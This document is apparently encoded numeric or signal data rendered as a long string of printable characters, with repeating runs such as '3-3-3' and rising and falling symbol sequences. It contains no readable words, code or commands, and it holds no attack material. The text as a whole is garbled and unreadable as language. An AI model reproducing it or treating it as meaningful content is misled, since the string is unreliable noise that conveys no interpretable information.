1+2*3*4+4+4+3,2-2.2.2-4-6,5,3,3,3,3-3-3-3-3-2-2-2-2,2,2,2-2,3-3-3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4-5-6/6/81;3=5?8A:D<F?GAIBKEMFOIQJSLVNYP[R^S_VaYc[e]g_hakcnepgqhtkwmyo{q}tvxz|~öƷȹʼ̾ʽȻŹķõ}z~w|uysvqtnpkmhkficfac_`\\YYVWSUQSOOLMJJGHEEAC>?;<9:7754310.-+))&&$#!!    " %#'%*(-+0-2/4274:8<:?=B@GCHEKGNJQLTOVRXT[V^Za]c_hbjemhpjqltnwp{s}vy}öŸǻ˼̾ɼȺŸĶ´~|yw~t|r{pxnvlsjrioflckbi`f^e\cYaX_V\TZRXOUMSKPIOFMELCI@F>D=B;@9>6:3:2806/3-3-3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.3-3-4.3-4.43*8 "C%V9(q_-.(   #&pnQF='&1/,8,:-6,2,1,2,5-8-5-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4,4,4,4,4,4,4,4,4,4,4,3,3,3,3-4-4-4,4,3,3-3-3.3.3-3-3,3-3-3.3.3.3.2.1.1-1,1,1+0+0*/* /* .*.*.*-)-'+%!+%%+&*,&,,&/+&0*%2(#7(#;(#=&!?% B& E$ J#L$R$U#X!YZ] a d eg!k#p$u% y("~+%0+50;4>:@>A@B@A@B@DBDBCBCACACADADAD@BADADADADADAE@E@E@E@D@D?D@DBDBDBEBEBFBFCGBHBICICICJCICHDHDHDICIDIEJEJDKEKEKEKFKFLFLFLFLFLFLGLGLGLGLHLHKHKHKHLHLHMHMILINILILHLILILIKI~MIMI~MIMIMI~MIMI~MIMIMIMIMI~MIMI~MILIJIKIJIKIKIKIKHJHKGKHKGKGLGLHLHLGLGLGKFJFKFKFKEKEKEJEJEJDIEIFIEIEHDHEHDGDGDGDGCFDFCFBFBGCGAFAFAFAFAFAE@E@E@E@FAFAFAFAE@E@D@F@D@DADACAC@DAC?D@D@E?E?D@D@?:;6620.-''#$ | xtpmhea] [!X$ W$ U#S% O&!K&I&G&D&A' =(!:("6+#2,$/,%+*%()$%,'!,)/*0*1)2'1&.(/,//0/2.4+4*3*3+4,6,6-5-3.3-1.1-1-2,3,4,5+4+4+4,4,4,4-3-3-3-3-3-3-2-2.2.2.2.2-2-3-3-3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5.6/8192<4?5A7C:D=G?IAJDMENFQIRJTLVNXQ[R]U`VbXd[e]g_jalcnephriujvmyo{r}svxz{~öŹɺ̻ξʽǺŸö}z}wztxrvptmqlngkehbf`c^a[]YZUWRTPRNOLLIJFGDEAB>@;=89573411/.,+))&%##!!     # %")%*(-+0-306284:7>:@=D@GCJELGNJQLTOVQXT[W^Za\e`hbkelgojrltnxqzt}wz}¶Ÿǻɼ˿̿˼ȺƸö´~{xv~t}r{pxnwmtkrhpfndkbjai^e\c[aY`V^S[RXOVMSKQIOGNEKCI@G?F>D<@9>7=5;3916/3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,2,5,4.1.00+6 C[>'{g//(    %ttZP$B*)14*;+;+6,3,5,8,8-6-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,5,5,5+5+5+5+5+4+3+3+3,3-3-3-3,3,3-3-3-3-3-3-3-3,3-3.3.3.3.3.3.3.3.3-3-2-1,1+1+/,/+/+.+.* -).).(.(-',',(-)!+&&+&)*%+)$.($1)$6($;'#?&!B% D$F#I$ M% P#R$T$U#X"["^!b d!h k!n p!s w {%$,+2086=:A?C@C?BAC@C@C@D@B?B?C@C@EAFAGAF@E@E@E@E@C@DADAC@DAEAF@F@G@GAGAG@G@HAGAFBFBFBGAGBGCHCICIDICJCICJDJDJDKCJDJDJEJEJEIEJEIEIEIEIEJEJEJEJFJFJFJFIEIEIFIFIFIFIFIFJFJFJFIFJFJFJFJFIFJFJFJFHFGFGFHGHFHFHFHEGEHEHEHEHEHEIEIEIDIDICJDHDJDHCHCHCIDICICHCHCGCGCHDFCFCFBFCEBEBFCFBFAF@F@GAGAFAE@F@F@F@F@FAFAGAFBFCEBEBEADADADADAE@D@D?D?C?D@A=<850-))$% }"w!s nmj hggeb` \!Y#V$ R#N"I#E$D%B'!=)#9("7("5+$4+$0+%-,&*+&&,& -'-(.(.).*.+ 0, 2+2*1(1(1)0,2.2/3.5,5+4+4,5,5.5.5.3.3-1-0-0-2,2,3,4+5+5+5,5,4,3-3-3.3.3.3-3-2.2.2.2.2.2.2.3-3-3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-6/8192<5?7A9C:E<H?JAKDMEOGQITKUMWOYQ[R]UaXbYd[f]i_jalcpfpgriukwmyo{q}tvxz{~·ŹȻ̼ϾɽȻƺķ~{~xzvwrtprmqkoikeicf`c^`[^YYVWRTPQMOKMIJEGDEAA>?;=8:673401/.,+**'&##!!   "$!&%)(,*..104274:8<:@>B?EAGDJGMJQLSOTRVTYX\Za\d^gahckfmiqlsouqytzv~y|~ĹƻǼ̿;ʼȺƹ·|zwv~t|q{pyovlsjqhpfmdkbi_g]d\cZaX_V^S[QXOVMTLSJOGMDKCJAH@F>C;B8?5=4:3817/6.5,5,4,3,3-3-2,3-3-3-3-3-3.3-3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2,3,5-5-3-2-2,4-3*7-2/*2&8$H'ZBv**   dY B&..<,@,5+3,9-5,2-3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-2-2-2-2,2,2+3+1+2+2+ 2* 2* 1) /).(.(/(.' .&#,%',$*,$.+#2*"5*"8+";)"=("=(!?)!A(!E' H' L%O#R"V X!\!_ ` c!g h i!k mo#u%y*$/)5.:3<7>:@C>C?D@EAD@D@D@D?D@E?D@EAFBGBFBEBFAFAFAEAEAFBFBGBGAF?G@GAF@F@GAGAF@F@E@F@F@F@FAFBGBFBFBFBEBGCFCGDFDFCFBFBFCFCFCFCFCFBFBEBEBEBEBECDAEBECFCFCGBFCGBFCFCGBFCGBFCFCECDCDCDCDCECECEDFDFCFCFCFCFCEAE@E?E?E?E?D@GAFAE@F@E@E@E@FAFAFAGBGAGAGAFCFCFBFBEBFBEAE@E@E@E@FBFBEBEBF@F@EAEAEAFBFBEAC?C>C>C=B*!;*"7+#4+#1+$.-%)/&$0'"/'/(/)0)0)0+1* 0+ 0+0+0*0*2,2,3,3,3,3+3,3-3-3-3-3-5,5,4,3-3-3-3-3-2,2-1,2-3-3-3-3-3-3-3-3-3-2.2.2.2.2.2.2.3.4.4.4.4.4.4.3-3-5,5,5,5,3,3-2.2.3.3-2,2,2,2,3-3-3-3-3-3-3.3-3-3-3-3-3-3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3,3,3,3,2,3-3-3,2+2+3+4+4,4,5-7081:2=5>7@9C:F<H>I@LCMEOGQHTKULXOZQ\S^T`VaXd[f]i_kamcoergtivkwmzo{p}suwy|~øǻɾ˿ʾɽǺŷ÷|~y{wyuussppmnklijgfbc``]^Z\WZUVRTPQMNKLIHFEBB@?==;:89553300--**'&$$""     "$"&&)(+*/,2/4174:7=:@<C>EBGDKGMIPLROTRWTYW^Ya\d^f`hckfmjqmsouqxtzvy|~ĸǻʽ̾̾ʽȻŸ·|{yvu}s|qwnvltjripfmdkci`h^e]cZaX`W^T[RYPVNUMRJPHNFLCJBI@G>E;B9?7=5;492706.6-4-3,3-3-3-3-3-3-3-3-3.3.3-3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,5-5.3-1-1,3+5,6..0(:#FX;uf)!  "   ~~UB&74-<-6,3,6,3,1.2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,4,4,4+4+3+2* 0* 0* /*/)/(-(.'.&.&"-&$-&'-%),%+,$.,$1,$3+#6*#;*">(!@& C% G#J$M#O#Q#U$X#Z#Z#]"^"a c e!h!k!m!o!p$ u'#y+&}/*2.6284;8<8>:?;A=C>C@C>D?E@D@C@D?D@EAEADAEAC@E?E?GAGAGAF@E?F@F@GAFAFAFBGBGBFAF@F@F@F@E?E?E@E@EAFAFAFAFAHBICHBGAGAF@F@GAGAGAF@F@F@FAGBGBGBGBGBGBGBGBGBGBGBGBFBEAD@D@EAFAGCGCFAEAE@E@E@E?E?D@D@D@D?E?E?E@D?D?D@DADAEBEAF@FAFAFAFAFAFAD@D@DAD@C@E@D@D@E@D@F@F@EADAC?B>A=?<=:<9<8;7732..*+&})#y$r"p"m!m"l j h!f c!a _ \!Y"V"S$P# M$ K$!I# F&!D(!A* ?*!=+!;+"7,#4,#0,#,-%*,%&.&#-& .'.'/(/).(/)/*0+ 0* 0+2,2,2,2,2,2,2,2,3-3-3-3-3-3-3-3-3-3-4-5,4,4-4-4-3-3-3-3-3-4.4.4.4-3-3,3,3,3-2-2.2.2.2.2.2.2.3-3-3-3-3-3-3-3-3-4,5-5-5-4-4.3.3.3.4.4.4.4-4-4-4-4-4-3-3-3.3.3-3-3-3-3-3,3,3,3,3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3,3,3,3,2,3-3-3,3,3-4-5-5-5.7081:4=6?8A9C;E=G?IALDNEOGQITKVMWOZQ\S_U`WbXd[f^i_kbndpfqhujvlxnzp|r~suxz|¸ŻȾɾȻƹķ´|y{vytvrsppnnkkhiehbc`a]^Z[WXTVRSPQMNLKIHFFCB@@=<;:88663210-,+)'&$$"!   !#"%$('+).,1.416396<9?;A>C@HBJFLIOLRNTPVR[V]Xa[c]f`hcjfmiokrmuoxr|u~x{}ĸƺɻ̾ʽȻƺķ¶~|zxv~uzqyownvksjphnflcjbi`f^d\cZ`X^V\SZQWPUNTKQINGMELCJAH?E=C;@9?8=6:3818/5.3-3-3-3-3-3-3-3-2-2.2.3-3,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,5-4.2.1.1,1*5.1-(2'E#W3"qX"'* #&)-/.*&$  '% of"I0*34,3-2,3+3-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3,3,3+3+3+2+0+0+0+0+/) /) .) .).(-(-(.)-'-% ,%#,%%-$(,%+,$/*$1("4'"7'!9'!<&!>%!@%C%G%I%J$L#N#P#T$W$Y"Z![!\!^ a!d!e ffik!o#s&!x($}+'.*0-406284:5:7=9?;@=A>B?D@DAE@E@E@E@E@E?E?E@F@FAEAEAEADAEAF@F@F@E?E?E?E?F?E@F@F@F@F@G@G?G@G@H@HAHAHAHAHAHAH@G@G@G@GAGAGAGAGAGAGAGAGAGAGAGAGAHBFAFAF@F@F@E@E?E?F@E@F@F@F@D@DAEAEAEAEAEAGBGBFBFBEAEAD@F@FAF@E@E@E@E@D@D@C@C?B?B?@=>:=8:6846251302.0+-)*&}'#z%!u!m ihg e d b `!^ \!["[!Y"W"S#Q#P#M#J$H% E% B&!?&"<'":'#9'"7($3+%/-%--%+,%(,&%,&"-'-'.(.(-)-*.)-)-) -) -* .* .*.+/*/*1+2,2,2,2,3-3-3-3-3-3-3-2,2,2,2,2,2,2,5,5,5,5,5,3-3-3-3-3-3-3-3-4,5,4+4+4+3,2,3-3-3-3-3-3-3-2.2.2.2.2.3.3.3-3-3-3-3-3-3-3-3-3-3-3-3-3-5,5,5,5,5,5,4,3-3-3-3-3-3-3-2-2-2-2-2-2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-3-3-3-3-3-3-3-3,3,3+3,3-3-3-3-3-4.5-5.6/7092;4<7@9C;E=F?G@JBLENGPISKTMVOYP[R^T`WaYcZe\g_hakcnephsiukwnyo{q}svwy{}ùƻɽ˿ɾƻŹö{x|vxrvqsoplmikhiegae_`\]Z[WXTUQSNPLMJJHGEEBB@@<<9:7755330/.,+)(&%#"!  !" %#'%*(-*1-307396<8=:@<D?GBIEKHNJQMSOWRZU]W`Yb\d_fcjelhojrltoyr{t~wy|~¶ĸŹɼʾ˾ɼǺŸ¶}{yw~u{szqxovmskqiogmeldiaf_e]c[aY^W\UZSXQVNTMRKPINGMEKCH@E>C<B;@9>7;492705.3-3-3-3-3-3-2-2,2,2-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4+4+4-3.2/0.1-2,4//1&<#R, iJ'}&" ").268>?>951-("  !!"dV!>!)-/-1-1+3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3-2-2-2-2-1-1,0,0,0,/+/+0+ /) .(.'.'.&.'.&.& -&#,&$+%(+$**$+)$,)#0)#4("6'#7(#9'";'"=% ?% A% D% G%H& J& L$P$T$U"V"W"Z"\!]!` c d e!g ij!l"o$ r%!t'#x(%{,(+)-*/,2.3/518395;7=8?:AC@C@DADADBEBEAD@E@DAEAFAFBD?C@D@D@E@E@EAFAFAFAFAFAGAFAGBGBGBGAGAGAFAFAFAFAFAFAFAFAGBGBGBGBGBGBFBEBGBFBGBFBFBFAD@E@DAE@E@D@EAEBEBDADACACAE@D@EAEAEADAD@C?B>@<>:<9;694404/2-0,-),(*&)${(#z&"v#s#p"n!k!h!g!e"d!c a ]![ Y W"V!T"Q$ P% M$!J$!H%!G$!E$ B'"?("=)"<)":("7)#5*#2*$0*%-*%++%)*%&+%%,'!.(/(.)-(/)/)/*/+ /, /,.,.-0,.,-,-,-,.-.-/-0-0-1-1,2,2,2,2-3-3-3-3-3-3-2-2-2-2-2-2-3-5,5,4,4-4-3-3-4.3.3.3.3.2-3-4-4-4-3,3,3-2,2,2-2-2-2-2-2.1/1/1/1/1/1.2.2.3.3.3.3/3.3-3-3-3-3-3-3-4+4+5,5,5,6-5-3-3-3-3-3-3-3-2.2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3+3+3+3,3-3-2,3-3-5.7/7093;6=8>:C<E>H@IBJDLFNHQJSLWNXPYR[T]V`XbZd\f^g`ialenfqhsjumwnzq|s~uwyz|~÷ĺƼɽɾǼʶ}{~x|uyrvosmqkmikfhdfac^a\\YZVWSUPSMQKMIJGGEDAA??<<996745220/-,+)(&%#"!  " $"'%*'-*/-406285:6<9A<D?FAHDKGNIPLUOWQZS]V_Ya\c^gbidlgniqktnwqzt}vx{}÷źǼʾ̿̿ʽȺƹķµ~|zx~v}t{rxpvnslrjqiohlejci`f_c\bZ_X]V[TYRWQUOSMQKOINGKDIBG@F>D=A:>7;4:3804/4.4.3-3-2-2-2,2,2,3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4+5+3-2.0/0.1-3-1-.6 &H _>{c'$ "/7=BGJOQOJFA<5/(" "}P;#3+-1/0,4.5-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-4.4.4.3-3-3-3-5.5/3.3.3.3.3.3.2.2.2.2-2.2,1*1) 1) 0) 0) 1)1)0)/).(/(/(.(.','",&$*'%,'&+'(+&**%,*$/+$1*$3*$4*$5*#8'!=' A&!C% D%E%G%J$M$O$R#S!S"T"V W!Y"Z!\"^#a!cbdfg!i"k#m#o$r%!s'"v'$x)%z*&{)&|*'+(,*.,/-3154647697:8;9?B?CACADBD@CACACACACBCACACACACACADBCACACACACACACACAC@C@C@C@C@CACADADADAEBEBEBEBDADBCAB@B?@>;::99886656564303/1./+,(+&*%~)$|($y(#w&"u%!s$p$o$ n$l$i"g dc!b$b#a"`"]!\!Y!X"V#U#T$S$R$Q%N%K&I& G&"F&"C'#@&";&"7'#4'$3(%2)&1)%/,&,-&)-&(-&&,&$-&#.'!.'.'.(.(.(.(.)/* 0* 0* /*0+0,0,0-0.0//.0/1//0/0/0/0/101011110101.1-2-1-2-1.2-1-1-1,0-2-1.1-1-1.2-2-4-3,3,3-2.2-2.2-2.1/1.1/1/1.2-2.2.2.2.3.2.1/1/1/1/1/1/0//0/0/0/0/0/0////1/1/0/0.0.2.2.2.2-2-2,2,3,3,3,5,4,6-4-3-3-3-3-3-3-3-2.2.2.2.2.2.3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3-3,3,3+3+3+3,3,3-2,3-3-4.6081:4<7>:@<A=E?GBKCLEMGOIQKTMVOZR[T\U^XaYc[e^g`hajcleohqiskvmwpyr}t~vwy{}ĸƻȽɿʿǽƻĹ|z}w{txqvoslpjmhjegce`c^`Z]XYVWSTPRMOJMGIEFCCA@>=;<99562401..-+*((%$#"    